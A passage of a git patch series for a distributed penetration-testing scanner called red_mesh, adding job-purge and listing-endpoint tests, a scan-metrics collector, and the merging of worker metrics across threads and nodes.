"cid-pass-wr-A"}) + + def test_purge_r1fs_failure_keeps_cstore(self): + """Partial R1FS failure leaves CStore intact and returns 'partial' status.""" + Plugin = self._get_plugin_class() + plugin = self._make_plugin() + + job_specs = { + "job_id": "job-1", + "job_status": "FINALIZED", + "job_cid": "cid-archive", + "job_config_cid": "cid-config", + } + plugin.chainstore_hget.return_value = job_specs + plugin.r1fs.get_json.return_value = {"passes": []} + + # First CID deletes ok, second raises + plugin.r1fs.delete_file.side_effect = [True, Exception("disk error")] + + plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) + + result = Plugin.purge_job(plugin, "job-1") + self.assertEqual(result["status"], "partial") + self.assertEqual(result["cids_deleted"], 1) + self.assertEqual(result["cids_failed"], 1) + self.assertEqual(result["cids_total"], 2) + + # CStore should NOT be tombstoned + tombstone_calls = [ + c for c in plugin.chainstore_hset.call_args_list + if c.kwargs.get("hkey") == "test-instance" and c.kwargs.get("value") is None + ] + self.assertEqual(len(tombstone_calls), 0) + + def test_purge_cleans_live_progress(self): + """Purge deletes live progress keys for the job from :live hset.""" + Plugin = self._get_plugin_class() + plugin = self._make_plugin() + + job_specs = { + "job_id": "job-1", + "job_status": "STOPPED", + "workers": {"node-A": {"finished": True}}, + } + plugin.chainstore_hget.return_value = job_specs + plugin.r1fs.delete_file.return_value = True + + # Live hset has keys for this job and another + plugin.chainstore_hgetall.return_value = { + "job-1:node-A": {"progress": 100}, + "job-1:node-B": {"progress": 50}, + "job-2:node-C": {"progress": 30}, + } + plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) + + result = Plugin.purge_job(plugin, "job-1") + self.assertEqual(result["status"], "success") + + # Check that live progress keys for job-1 were deleted + live_delete_calls = [ + c for c in plugin.chainstore_hset.call_args_list + if c.kwargs.get("hkey") == "test-instance:live" and c.kwargs.get("value") is None + ] + deleted_keys = {c.kwargs["key"] for c in live_delete_calls} + self.assertEqual(deleted_keys, {"job-1:node-A", "job-1:node-B"}) + # job-2 key should NOT be touched + self.assertNotIn("job-2:node-C", deleted_keys) + + def test_purge_success_tombstones_cstore(self): + """After all CIDs deleted, CStore key is tombstoned (set to None).""" + Plugin = self._get_plugin_class() + plugin = self._make_plugin() + + job_specs = { + "job_id": "job-1", + "job_status": "FINALIZED", + "job_cid": "cid-archive", + } + plugin.chainstore_hget.return_value = job_specs + plugin.r1fs.get_json.return_value = {"passes": []} + plugin.r1fs.delete_file.return_value = True + plugin.chainstore_hgetall.return_value = {} + plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) + + result = Plugin.purge_job(plugin, "job-1") + self.assertEqual(result["status"], "success") + + # CStore tombstone: hset(hkey=instance_id, key=job_id, value=None) + tombstone_calls = [ + c for c in plugin.chainstore_hset.call_args_list + if c.kwargs.get("hkey") == "test-instance" + and c.kwargs.get("key") == "job-1" + and c.kwargs.get("value") is None + ] + self.assertEqual(len(tombstone_calls), 1) + + def test_stop_and_delete_delegates_to_purge(self): + """stop_and_delete_job marks job stopped then delegates to purge_job.""" + Plugin = self._get_plugin_class() + plugin = self._make_plugin() + plugin.scan_jobs = {} + + job_specs = { + "job_id": "job-1", + "job_status": "RUNNING", + "workers": {"node-A": {"finished": False}}, + } + plugin.chainstore_hget.return_value = job_specs + plugin._normalize_job_record = MagicMock(return_value=("job-1", job_specs)) + + # Mock purge_job to verify delegation + purge_result = {"status": "success", "job_id": "job-1", "cids_deleted": 3, "cids_total": 3} + plugin.purge_job = MagicMock(return_value=purge_result) + + result = Plugin.stop_and_delete_job(plugin, "job-1") + + # Verify job was marked stopped before purge + hset_calls = [ + c for c in plugin.chainstore_hset.call_args_list + if c.kwargs.get("hkey") == "test-instance" and c.kwargs.get("key") == "job-1" + ] + self.assertEqual(len(hset_calls), 1) + saved_specs = hset_calls[0].kwargs["value"] + self.assertEqual(saved_specs["job_status"], "STOPPED") + self.assertTrue(saved_specs["workers"]["node-A"]["finished"]) + self.assertTrue(saved_specs["workers"]["node-A"]["canceled"]) + + # Verify purge was called + plugin.purge_job.assert_called_once_with("job-1") + self.assertEqual(result, purge_result) + + class VerboseResult(unittest.TextTestResult): def addSuccess(self, test): super().addSuccess(test) @@ -3848,4 +4100,5 @@ def addSuccess(self, test): suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase3Archive)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase5Endpoints)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase12LiveProgress)) + suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase14Purge)) runner.run(suite) From 385aa6879c903253d1a2d2e322d2c57a77c6c1ce Mon Sep 17 00:00:00 2001 From: toderian Date: Sun, 8 Mar 2026 00:13:20 +0000 Subject: [PATCH 016/114] fix: listing endpoint optimization (phase 15) --- .../cybersec/red_mesh/pentester_api_01.py | 29 +++-- .../cybersec/red_mesh/test_redmesh.py | 118 ++++++++++++++++++ 2 files changed, 136 insertions(+), 11 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 21764d7f..df419d98 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -2545,21 +2545,28 @@ def list_network_jobs(self): for job_key, job_spec in raw_network_jobs.items(): normalized_key, normalized_spec = self._normalize_job_record(job_key, job_spec) if normalized_key and normalized_spec: - # Finalized stubs (have job_cid) — return as-is + # Finalized stubs (have job_cid) — already small, return as-is if normalized_spec.get("job_cid"): normalized_jobs[normalized_key] = normalized_spec continue - # Running jobs — strip heavy fields, keep counts - pass_reports = normalized_spec.pop("pass_reports", None) - normalized_spec["pass_count"] = len(pass_reports) if isinstance(pass_reports, list) else 0 - - workers = normalized_spec.pop("workers", None) - normalized_spec["worker_count"] = len(workers) if isinstance(workers, dict) else 0 - - normalized_spec.pop("timeline", None) - - normalized_jobs[normalized_key] = normalized_spec + # Running jobs — allowlist only listing-essential fields + normalized_jobs[normalized_key] = { + "job_id": normalized_spec.get("job_id"), + "job_status": normalized_spec.get("job_status"), + "target": normalized_spec.get("target"), + "task_name": normalized_spec.get("task_name"), + "risk_score": normalized_spec.get("risk_score", 0), + "run_mode": normalized_spec.get("run_mode"), + "start_port": normalized_spec.get("start_port"), + "end_port": normalized_spec.get("end_port"), + "date_created": normalized_spec.get("date_created"), + "launcher": normalized_spec.get("launcher"), + "launcher_alias": normalized_spec.get("launcher_alias"), + "worker_count": len(normalized_spec.get("workers", {}) or {}), + "pass_count": len(normalized_spec.get("pass_reports", []) or []), + "job_pass": normalized_spec.get("job_pass", 1), + } return normalized_jobs diff --git a/extensions/business/cybersec/red_mesh/test_redmesh.py b/extensions/business/cybersec/red_mesh/test_redmesh.py index ad72c5b0..02a5d80b 100644 --- a/extensions/business/cybersec/red_mesh/test_redmesh.py +++ b/extensions/business/cybersec/red_mesh/test_redmesh.py @@ -4081,6 +4081,123 @@ def test_stop_and_delete_delegates_to_purge(self): self.assertEqual(result, purge_result) +class TestPhase15Listing(unittest.TestCase): + """Phase 15: Listing Endpoint Optimization.""" + + @classmethod + def _mock_plugin_modules(cls): + if 'extensions.business.cybersec.red_mesh.pentester_api_01' in sys.modules: + return + TestPhase1ConfigCID._mock_plugin_modules() + + def _get_plugin_class(self): + self._mock_plugin_modules() + from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + return PentesterApi01Plugin + + def test_list_finalized_returns_stub_fields(self): + """Finalized jobs return exact CStoreJobFinalized fields.""" + Plugin = self._get_plugin_class() + plugin = MagicMock() + plugin.cfg_instance_id = "test-instance" + + finalized_stub = { + "job_id": "job-1", + "job_status": "FINALIZED", + "target": "10.0.0.1", + "task_name": "scan-1", + "risk_score": 75, + "run_mode": "SINGLEPASS", + "duration": 120.5, + "pass_count": 1, + "launcher": "0xLauncher", + "launcher_alias": "node1", + "worker_count": 2, + "start_port": 1, + "end_port": 1024, + "date_created": 1700000000.0, + "date_completed": 1700000120.0, + "job_cid": "QmArchive123", + "job_config_cid": "QmConfig456", + } + plugin.chainstore_hgetall.return_value = {"job-1": finalized_stub} + plugin._normalize_job_record = MagicMock(return_value=("job-1", finalized_stub)) + + result = Plugin.list_network_jobs(plugin) + self.assertIn("job-1", result) + entry = result["job-1"] + + # All CStoreJobFinalized fields present + self.assertEqual(entry["job_id"], "job-1") + self.assertEqual(entry["job_status"], "FINALIZED") + self.assertEqual(entry["job_cid"], "QmArchive123") + self.assertEqual(entry["job_config_cid"], "QmConfig456") + self.assertEqual(entry["target"], "10.0.0.1") + self.assertEqual(entry["risk_score"], 75) + self.assertEqual(entry["duration"], 120.5) + self.assertEqual(entry["pass_count"], 1) + self.assertEqual(entry["worker_count"], 2) + + def test_list_running_stripped(self): + """Running jobs have listing fields but no heavy data.""" + Plugin = self._get_plugin_class() + plugin = MagicMock() + plugin.cfg_instance_id = "test-instance" + + running_spec = { + "job_id": "job-2", + "job_status": "RUNNING", + "target": "10.0.0.2", + "task_name": "scan-2", + "risk_score": 0, + "run_mode": "CONTINUOUS_MONITORING", + "start_port": 1, + "end_port": 65535, + "date_created": 1700000000.0, + "launcher": "0xLauncher", + "launcher_alias": "node1", + "job_pass": 3, + "job_config_cid": "QmConfig789", + "workers": { + "addr-A": {"start_port": 1, "end_port": 32767, "finished": False, "report_cid": "QmBigReport1"}, + "addr-B": {"start_port": 32768, "end_port": 65535, "finished": False, "report_cid": "QmBigReport2"}, + }, + "timeline": [ + {"event": "created", "ts": 1700000000.0}, + {"event": "started", "ts": 1700000001.0}, + ], + "pass_reports": [ + {"pass_nr": 1, "report_cid": "QmPass1"}, + {"pass_nr": 2, "report_cid": "QmPass2"}, + ], + "redmesh_job_start_attestation": {"big": "blob"}, + } + plugin.chainstore_hgetall.return_value = {"job-2": running_spec} + plugin._normalize_job_record = MagicMock(return_value=("job-2", running_spec)) + + result = Plugin.list_network_jobs(plugin) + self.assertIn("job-2", result) + entry = result["job-2"] + + # Listing essentials present + self.assertEqual(entry["job_id"], "job-2") + self.assertEqual(entry["job_status"], "RUNNING") + self.assertEqual(entry["target"], "10.0.0.2") + self.assertEqual(entry["task_name"], "scan-2") + self.assertEqual(entry["run_mode"], "CONTINUOUS_MONITORING") + self.assertEqual(entry["job_pass"], 3) + self.assertEqual(entry["worker_count"], 2) + self.assertEqual(entry["pass_count"], 2) + + # Heavy fields stripped + self.assertNotIn("workers", entry) + self.assertNotIn("timeline", entry) + self.assertNotIn("pass_reports", entry) + self.assertNotIn("redmesh_job_start_attestation", entry) + self.assertNotIn("job_config_cid", entry) + self.assertNotIn("report_cid", entry) + + class VerboseResult(unittest.TextTestResult): def addSuccess(self, test): super().addSuccess(test) @@ -4101,4 +4218,5 @@ def addSuccess(self, test): suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase5Endpoints)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase12LiveProgress)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase14Purge)) + suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase15Listing)) runner.run(suite) From 5eb5f7770cd2d63214b16164e0a641ec046618c9 Mon Sep 17 00:00:00 2001 From: toderian Date: Sun, 8 Mar 2026 00:30:34 +0000 Subject: [PATCH 017/114] feat: scan metrics collection (phase 16a) --- .../cybersec/red_mesh/pentest_worker.py | 188 +++++++++++++++++- .../cybersec/red_mesh/pentester_api_01.py | 46 +++++ 2 files changed, 231 insertions(+), 3 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/pentest_worker.py b/extensions/business/cybersec/red_mesh/pentest_worker.py index caa51f9c..d95121b5 100644 --- a/extensions/business/cybersec/red_mesh/pentest_worker.py +++ b/extensions/business/cybersec/red_mesh/pentest_worker.py @@ -14,12 +14,194 @@ WELL_KNOWN_PORTS as _WELL_KNOWN_PORTS, FINGERPRINT_TIMEOUT, FINGERPRINT_MAX_BANNER, FINGERPRINT_HTTP_TIMEOUT, FINGERPRINT_NUDGE_TIMEOUT, SCAN_PORT_TIMEOUT, - COMMON_PORTS, ALL_PORTS, ) from .web_mixin import _WebTestsMixin -from .metrics_collector import MetricsCollector +from .models.shared import ScanMetrics +import math +import statistics + + +class MetricsCollector: + """Collects raw scan timing and outcome data during a worker scan.""" + + def __init__(self): + self._phase_starts = {} + self._phase_ends = {} + self._connection_outcomes = {"connected": 0, "timeout": 0, "refused": 0, "reset": 0, "error": 0} + self._response_times = [] + self._port_scan_delays = [] + self._probe_results = {} + self._scan_start = None + self._ports_in_range = 0 + self._ports_scanned = 0 + self._ports_skipped = 0 + self._open_ports = [] + self._service_counts = {} + self._finding_counts = {} + # For success rate over time windows + self._connection_log = [] # [(timestamp, success_bool)] + + def start_scan(self, ports_in_range: int): + self._scan_start = time.time() + self._ports_in_range = ports_in_range + + def phase_start(self, phase: str): + self._phase_starts[phase] = time.time() + + def phase_end(self, phase: str): + self._phase_ends[phase] = time.time() + + def record_connection(self, outcome: str, response_time: float): + self._connection_outcomes[outcome] = self._connection_outcomes.get(outcome, 0) + 1 + if response_time >= 0: + self._response_times.append(response_time) + self._connection_log.append((time.time(), outcome == "connected")) + self._ports_scanned += 1 + + def record_port_scan_delay(self, delay: float): + self._port_scan_delays.append(delay) + + def record_probe(self, probe_name: str, result: str): + self._probe_results[probe_name] = result + + def record_open_port(self, port: int, protocol: str = None): + self._open_ports.append(port) + if protocol: + self._service_counts[protocol] = self._service_counts.get(protocol, 0) + 1 + + def record_finding(self, severity: str): + self._finding_counts[severity] = self._finding_counts.get(severity, 0) + 1 + + def _compute_stats(self, values: list) -> dict | None: + if not values: + return None + sorted_v = sorted(values) + n = len(sorted_v) + mean = sum(sorted_v) / n + median = sorted_v[n // 2] if n % 2 else (sorted_v[n // 2 - 1] + sorted_v[n // 2]) / 2 + stddev = statistics.stdev(sorted_v) if n > 1 else 0 + p95 = sorted_v[int(n * 0.95)] if n >= 20 else sorted_v[-1] + p99 = sorted_v[int(n * 0.99)] if n >= 100 else sorted_v[-1] + return { + "min": round(sorted_v[0], 4), + "max": round(sorted_v[-1], 4), + "mean": round(mean, 4), + "median": round(median, 4), + "stddev": round(stddev, 4), + "p95": round(p95, 4), + "p99": round(p99, 4), + "count": n, + } + + def _compute_phase_durations(self) -> dict | None: + durations = {} + for phase, start in self._phase_starts.items(): + end = self._phase_ends.get(phase, time.time()) + durations[phase] = round(end - start, 2) + return durations if durations else None + + def _compute_success_windows(self, window_size: float = 60.0) -> list | None: + if not self._connection_log: + return None + windows = [] + start_time = self._connection_log[0][0] + end_time = self._connection_log[-1][0] + t = start_time + while t < end_time: + w_end = t + window_size + entries = [(ts, ok) for ts, ok in self._connection_log if t <= ts < w_end] + if entries: + rate = sum(1 for _, ok in entries if ok) / len(entries) + windows.append({ + "window_start": round(t - start_time, 1), + "window_end": round(w_end - start_time, 1), + "success_rate": round(rate, 3), + }) + t = w_end + return windows if windows else None + + def _detect_rate_limiting(self) -> bool: + windows = self._compute_success_windows() + if not windows or len(windows) < 3: + return False + # Detect: last 2 windows have significantly lower success rate than first 2 + first = sum(w["success_rate"] for w in windows[:2]) / 2 + last = sum(w["success_rate"] for w in windows[-2:]) / 2 + return first > 0.5 and last < first * 0.7 + + def _detect_blocking(self) -> bool: + windows = self._compute_success_windows() + if not windows or len(windows) < 2: + return False + # Detect: any window with 0% success rate after a window with >50% success + for i in range(1, len(windows)): + if windows[i - 1]["success_rate"] > 0.5 and windows[i]["success_rate"] == 0: + return True + return False + + def _compute_port_distribution(self) -> dict | None: + if not self._open_ports: + return None + well_known = sum(1 for p in self._open_ports if p <= 1023) + registered = sum(1 for p in self._open_ports if 1024 <= p <= 49151) + ephemeral = sum(1 for p in self._open_ports if p > 49151) + return {"well_known": well_known, "registered": registered, "ephemeral": ephemeral} + + def _compute_coverage(self) -> dict | None: + if self._ports_in_range == 0: + return None + pct = round(self._ports_scanned / self._ports_in_range * 100, 1) if self._ports_in_range else 0 + return { + "ports_in_range": self._ports_in_range, + "ports_scanned": self._ports_scanned, + "ports_skipped": self._ports_skipped, + "coverage_pct": pct, + } + + def build(self) -> ScanMetrics: + """Build ScanMetrics from collected raw data. Safe to call at any time.""" + total_connections = sum(self._connection_outcomes.values()) + outcomes = dict(self._connection_outcomes) + if total_connections > 0: + outcomes["total"] = total_connections + + probes_attempted = len(self._probe_results) + probes_completed = sum(1 for v in self._probe_results.values() if v == "completed") + probes_skipped = sum(1 for v in self._probe_results.values() if v.startswith("skipped")) + probes_failed = sum(1 for v in self._probe_results.values() if v == "failed") + + return ScanMetrics( + phase_durations=self._compute_phase_durations(), + total_duration=round(time.time() - self._scan_start, 2) if self._scan_start else 0, + port_scan_delays=self._compute_stats(self._port_scan_delays), + connection_outcomes=outcomes if total_connections > 0 else None, + response_times=self._compute_stats(self._response_times), + slow_ports=None, # TODO: implement slow port detection + success_rate_over_time=self._compute_success_windows(), + rate_limiting_detected=self._detect_rate_limiting(), + blocking_detected=self._detect_blocking(), + coverage=self._compute_coverage(), + probes_attempted=probes_attempted, + probes_completed=probes_completed, + probes_skipped=probes_skipped, + probes_failed=probes_failed, + probe_breakdown=dict(self._probe_results) if self._probe_results else None, + port_distribution=self._compute_port_distribution(), + service_distribution=dict(self._service_counts) if self._service_counts else None, + finding_distribution=dict(self._finding_counts) if self._finding_counts else None, + ) + + +COMMON_PORTS = [ + 21, 22, 23, 25, 53, 80, 110, 143, 161, 443, 445, + 502, 1433, 1521, 27017, 3306, 3389, 5432, 5900, + 8080, 8443, 9200, 11211 +] + +# EXCEPTIONS = [64297] +ALL_PORTS = [port for port in range(1, 65536)] class PentestLocalWorker( _ServiceInfoMixin, @@ -557,7 +739,7 @@ def _scan_ports_step(self, batch_size=None, batch_nr=1): self.state["port_protocols"][port] = protocol self.state["port_banners"][port] = banner_text self.state["port_banner_confirmed"][port] = banner_confirmed - self.metrics.record_open_port(port, protocol, banner_confirmed) + self.metrics.record_open_port(port, protocol) else: # Port closed/filtered import errno diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index df419d98..6266280c 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -3110,6 +3110,46 @@ def llm_health(self): return self._get_llm_health_status() + @staticmethod + def _merge_worker_metrics(metrics_list): + """Merge scan_metrics dicts from multiple local worker threads.""" + if not metrics_list: + return None + merged = {} + # Sum connection outcomes + outcomes = {} + for m in metrics_list: + for k, v in (m.get("connection_outcomes") or {}).items(): + outcomes[k] = outcomes.get(k, 0) + v + if outcomes: + merged["connection_outcomes"] = outcomes + # Sum coverage + cov_scanned = sum(m.get("coverage", {}).get("ports_scanned", 0) for m in metrics_list if m.get("coverage")) + cov_range = sum(m.get("coverage", {}).get("ports_in_range", 0) for m in metrics_list if m.get("coverage")) + cov_skipped = sum(m.get("coverage", {}).get("ports_skipped", 0) for m in metrics_list if m.get("coverage")) + if cov_range: + merged["coverage"] = { + "ports_in_range": cov_range, "ports_scanned": cov_scanned, + "ports_skipped": cov_skipped, + "coverage_pct": round(cov_scanned / cov_range * 100, 1), + } + # Sum finding distribution + findings = {} + for m in metrics_list: + for k, v in (m.get("finding_distribution") or {}).items(): + findings[k] = findings.get(k, 0) + v + if findings: + merged["finding_distribution"] = findings + # Sum probe counts + for field in ("probes_attempted", "probes_completed", "probes_skipped", "probes_failed"): + merged[field] = sum(m.get(field, 0) for m in metrics_list) + # Max total_duration + merged["total_duration"] = max(m.get("total_duration", 0) for m in metrics_list) + # Detection flags (any thread detecting = True) + merged["rate_limiting_detected"] = any(m.get("rate_limiting_detected") for m in metrics_list) + merged["blocking_detected"] = any(m.get("blocking_detected") for m in metrics_list) + return merged + def _publish_live_progress(self): """ Publish aggregated live progress for all active local scan jobs. @@ -3136,6 +3176,7 @@ def _publish_live_progress(self): all_tests = set() all_done = True + worker_metrics = [] for worker in local_workers.values(): state = worker.state total_scanned += len(state.get("ports_scanned", [])) @@ -3144,6 +3185,7 @@ def _publish_live_progress(self): all_tests.update(state.get("completed_tests", [])) if not state.get("done"): all_done = False + worker_metrics.append(worker.metrics.build().to_dict()) # Determine current phase from completed_tests if "correlation_completed" in all_tests: @@ -3163,6 +3205,9 @@ def _publish_live_progress(self): if isinstance(job_specs, dict): pass_nr = job_specs.get("job_pass", 1) + # Merge metrics from all local threads + merged_metrics = worker_metrics[0] if len(worker_metrics) == 1 else self._merge_worker_metrics(worker_metrics) + progress = WorkerProgress( job_id=job_id, worker_addr=ee_addr, @@ -3174,6 +3219,7 @@ def _publish_live_progress(self): open_ports_found=sorted(all_open), completed_tests=sorted(all_tests), updated_at=now, + live_metrics=merged_metrics, ) self.chainstore_hset( hkey=live_hkey, From 21397e9a11a81e4dc4635d3c49271c0b680712ee Mon Sep 17 00:00:00 2001 From: toderian Date: Sun, 8 Mar 2026 00:37:15 +0000 Subject: [PATCH 018/114] feat: scan metrics aggregation at node level (phase 16b) --- .../cybersec/red_mesh/pentester_api_01.py | 20 +- .../cybersec/red_mesh/test_redmesh.py | 346 ++++++++++++++++++ 2 files changed, 363 insertions(+), 3 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 6266280c..e95e780b 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -1135,6 +1135,13 @@ def _close_job(self, job_id, canceled=False): } report = self._get_aggregated_report(local_reports) if report: + # Replace generically-merged scan_metrics with properly summed metrics + thread_metrics = [r.get("scan_metrics") for r in local_reports.values() if r.get("scan_metrics")] + if thread_metrics: + report["scan_metrics"] = ( + thread_metrics[0] if len(thread_metrics) == 1 + else self._merge_worker_metrics(thread_metrics) + ) raw_job_specs = self.chainstore_hget(hkey=self.cfg_instance_id, key=job_id) if raw_job_specs is None: self.P(f"Job {job_id} no longer present in chainstore; skipping close sync.", color='r') @@ -1835,7 +1842,13 @@ def _maybe_finalize_pass(self): color='r' ) - # 8. COMPOSE PassReport + # 8. MERGE SCAN METRICS across nodes + node_metrics = [r.get("scan_metrics") for r in node_reports.values() if r.get("scan_metrics")] + pass_metrics = None + if node_metrics: + pass_metrics = node_metrics[0] if len(node_metrics) == 1 else self._merge_worker_metrics(node_metrics) + + # 9. COMPOSE PassReport pass_report = PassReport( pass_nr=job_pass, date_started=pass_date_started, @@ -1849,16 +1862,17 @@ def _maybe_finalize_pass(self): quick_summary=summary_text, llm_failed=llm_failed, findings=flat_findings if flat_findings else None, + scan_metrics=pass_metrics, redmesh_test_attestation=redmesh_test_attestation, ) - # 9. STORE PassReport as single CID + # 10. STORE PassReport as single CID pass_report_cid = self.r1fs.add_json(pass_report.to_dict(), show_logs=False) if not pass_report_cid: self.P(f"Failed to store pass report for pass {job_pass} in R1FS", color='r') continue # skip — don't append partial state to CStore - # 10. UPDATE CStore with lightweight PassReportRef + # 11. UPDATE CStore with lightweight PassReportRef pass_reports.append(PassReportRef(job_pass, pass_report_cid, risk_score).to_dict()) # Handle SINGLEPASS - set FINALIZED, build archive, prune CStore diff --git a/extensions/business/cybersec/red_mesh/test_redmesh.py b/extensions/business/cybersec/red_mesh/test_redmesh.py index 02a5d80b..1cf160fe 100644 --- a/extensions/business/cybersec/red_mesh/test_redmesh.py +++ b/extensions/business/cybersec/red_mesh/test_redmesh.py @@ -4198,6 +4198,351 @@ def test_list_running_stripped(self): self.assertNotIn("report_cid", entry) +class TestPhase16ScanMetrics(unittest.TestCase): + """Phase 16: Scan Metrics Collection.""" + + def test_metrics_collector_empty_build(self): + """build() with zero data returns ScanMetrics with defaults, no crash.""" + from extensions.business.cybersec.red_mesh.redmesh_utils import MetricsCollector + mc = MetricsCollector() + result = mc.build() + d = result.to_dict() + self.assertEqual(d.get("total_duration", 0), 0) + self.assertEqual(d.get("rate_limiting_detected", False), False) + self.assertEqual(d.get("blocking_detected", False), False) + # No crash, sparse output + self.assertNotIn("connection_outcomes", d) + self.assertNotIn("response_times", d) + + def test_metrics_collector_records_connections(self): + """After recording outcomes, connection_outcomes has correct counts.""" + from extensions.business.cybersec.red_mesh.redmesh_utils import MetricsCollector + mc = MetricsCollector() + mc.start_scan(100) + mc.record_connection("connected", 0.05) + mc.record_connection("connected", 0.03) + mc.record_connection("timeout", 1.0) + mc.record_connection("refused", 0.01) + d = mc.build().to_dict() + outcomes = d["connection_outcomes"] + self.assertEqual(outcomes["connected"], 2) + self.assertEqual(outcomes["timeout"], 1) + self.assertEqual(outcomes["refused"], 1) + self.assertEqual(outcomes["total"], 4) + # Response times computed + rt = d["response_times"] + self.assertIn("mean", rt) + self.assertIn("p95", rt) + self.assertEqual(rt["count"], 4) + + def test_metrics_collector_records_probes(self): + """After recording probes, probe_breakdown has entries.""" + from extensions.business.cybersec.red_mesh.redmesh_utils import MetricsCollector + mc = MetricsCollector() + mc.start_scan(10) + mc.record_probe("_service_info_http", "completed") + mc.record_probe("_service_info_ssh", "completed") + mc.record_probe("_web_test_xss", "skipped:no_http") + d = mc.build().to_dict() + self.assertEqual(d["probes_attempted"], 3) + self.assertEqual(d["probes_completed"], 2) + self.assertEqual(d["probes_skipped"], 1) + self.assertEqual(d["probe_breakdown"]["_service_info_http"], "completed") + self.assertEqual(d["probe_breakdown"]["_web_test_xss"], "skipped:no_http") + + def test_metrics_collector_phase_durations(self): + """start/end phases produce positive durations.""" + import time + from extensions.business.cybersec.red_mesh.redmesh_utils import MetricsCollector + mc = MetricsCollector() + mc.start_scan(10) + mc.phase_start("port_scan") + time.sleep(0.01) + mc.phase_end("port_scan") + d = mc.build().to_dict() + self.assertIn("phase_durations", d) + self.assertGreater(d["phase_durations"]["port_scan"], 0) + + def test_metrics_collector_findings(self): + """record_finding tracks severity distribution.""" + from extensions.business.cybersec.red_mesh.redmesh_utils import MetricsCollector + mc = MetricsCollector() + mc.start_scan(10) + mc.record_finding("HIGH") + mc.record_finding("HIGH") + mc.record_finding("MEDIUM") + mc.record_finding("INFO") + d = mc.build().to_dict() + fd = d["finding_distribution"] + self.assertEqual(fd["HIGH"], 2) + self.assertEqual(fd["MEDIUM"], 1) + self.assertEqual(fd["INFO"], 1) + + def test_metrics_collector_coverage(self): + """Coverage tracks ports scanned vs in range.""" + from extensions.business.cybersec.red_mesh.redmesh_utils import MetricsCollector + mc = MetricsCollector() + mc.start_scan(100) + for i in range(50): + mc.record_connection("connected" if i < 5 else "refused", 0.01) + d = mc.build().to_dict() + cov = d["coverage"] + self.assertEqual(cov["ports_in_range"], 100) + self.assertEqual(cov["ports_scanned"], 50) + self.assertEqual(cov["coverage_pct"], 50.0) + + def test_scan_metrics_model_roundtrip(self): + """ScanMetrics.from_dict(sm.to_dict()) preserves all fields.""" + from extensions.business.cybersec.red_mesh.models.shared import ScanMetrics + sm = ScanMetrics( + phase_durations={"port_scan": 10.5, "fingerprint": 3.2}, + total_duration=15.0, + connection_outcomes={"connected": 50, "timeout": 5, "total": 55}, + response_times={"min": 0.01, "max": 1.0, "mean": 0.1, "median": 0.08, "stddev": 0.05, "p95": 0.5, "p99": 0.9, "count": 55}, + rate_limiting_detected=True, + blocking_detected=False, + coverage={"ports_in_range": 1000, "ports_scanned": 1000, "ports_skipped": 0, "coverage_pct": 100.0}, + probes_attempted=5, + probes_completed=4, + probes_skipped=1, + probes_failed=0, + probe_breakdown={"_service_info_http": "completed"}, + finding_distribution={"HIGH": 3, "MEDIUM": 2}, + ) + d = sm.to_dict() + sm2 = ScanMetrics.from_dict(d) + self.assertEqual(sm2.to_dict(), d) + + def test_scan_metrics_strip_none(self): + """Empty/None fields stripped from serialization.""" + from extensions.business.cybersec.red_mesh.models.shared import ScanMetrics + sm = ScanMetrics() + d = sm.to_dict() + self.assertNotIn("phase_durations", d) + self.assertNotIn("connection_outcomes", d) + self.assertNotIn("response_times", d) + self.assertNotIn("slow_ports", d) + self.assertNotIn("probe_breakdown", d) + + def test_merge_worker_metrics(self): + """_merge_worker_metrics sums outcomes, coverage, findings; maxes duration; ORs flags.""" + TestPhase15Listing._mock_plugin_modules() + from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + m1 = { + "connection_outcomes": {"connected": 30, "timeout": 5, "total": 35}, + "coverage": {"ports_in_range": 500, "ports_scanned": 500, "ports_skipped": 0, "coverage_pct": 100.0}, + "finding_distribution": {"HIGH": 2, "MEDIUM": 1}, + "probes_attempted": 3, "probes_completed": 3, "probes_skipped": 0, "probes_failed": 0, + "total_duration": 60.0, + "rate_limiting_detected": False, "blocking_detected": False, + } + m2 = { + "connection_outcomes": {"connected": 20, "timeout": 10, "total": 30}, + "coverage": {"ports_in_range": 500, "ports_scanned": 400, "ports_skipped": 100, "coverage_pct": 80.0}, + "finding_distribution": {"HIGH": 1, "LOW": 3}, + "probes_attempted": 3, "probes_completed": 2, "probes_skipped": 1, "probes_failed": 0, + "total_duration": 75.0, + "rate_limiting_detected": True, "blocking_detected": False, + } + merged = PentesterApi01Plugin._merge_worker_metrics([m1, m2]) + # Sums + self.assertEqual(merged["connection_outcomes"]["connected"], 50) + self.assertEqual(merged["connection_outcomes"]["timeout"], 15) + self.assertEqual(merged["connection_outcomes"]["total"], 65) + self.assertEqual(merged["coverage"]["ports_in_range"], 1000) + self.assertEqual(merged["coverage"]["ports_scanned"], 900) + self.assertEqual(merged["coverage"]["ports_skipped"], 100) + self.assertEqual(merged["coverage"]["coverage_pct"], 90.0) + self.assertEqual(merged["finding_distribution"]["HIGH"], 3) + 